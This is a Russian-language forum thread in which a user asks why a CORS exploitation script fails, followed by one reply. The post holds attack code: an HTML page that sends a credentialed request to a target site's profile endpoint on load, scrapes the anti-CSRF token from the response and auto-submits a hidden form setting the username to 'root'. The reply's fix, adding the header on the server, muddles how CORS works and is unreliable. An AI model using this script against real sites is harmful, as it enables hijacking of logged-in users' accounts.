• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

CORS эксплуатация уязвимосьти

wallhack

Active member
20.08.2022
34
0
BIT
36
Всем привет.
Не могу получить токен
При работе скрипта в консоле браузера появляется сообщение "отсутствует заголовок CORS «Access-Control-Allow-Origin»"
Но в скрипте он есть. Origin принимает любой сайт
В чем может быть проблема?
JavaScript:
<body onload="getData()">

<form id="form" action="https://site.ru/v1/profile/info/" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="username" value="root"/>
  <input type="hidden" name="status" value="on"/>
  <input type="hidden" id="findtoken" name="token" value=""/>
  <input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
  x.withCredentials = true;
 
  x.open("GET","https://site.ru/v1/profile/info/",true);
  x.setRequestHeader("Access-Control-Allow-Origin", "mysite.ru");
  x.send(null);
}
x.onreadystatechange = function() {
  if (x.readyState == XMLHttpRequest.DONE) {
    var token = x.responseText.match(/name="token" value="(.+)"/)[1];
    document.getElementById("findtoken").value = token;
    document.getElementById("form").submit();
  }
}
</script>
 
Как я понимаю ошибка возникает из за того, что сервер не отправляет заголовок CORS, который указывает, какие домены могут получать доступ к ресурсу. Добавь заголовок Access-Control-Allow-Origin на сервер, а в скрипте удали строку:

JavaScript:
x.setRequestHeader("Access-Control-Allow-Origin", "mysite.ru");

Так как это должно быть установлено на сервере. Не факт, что это сработает, поскольку это одна из версий возникновения ошибки

TODO: могу не так понять проблему, поэтому если где то, что то не так лучше поправить
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!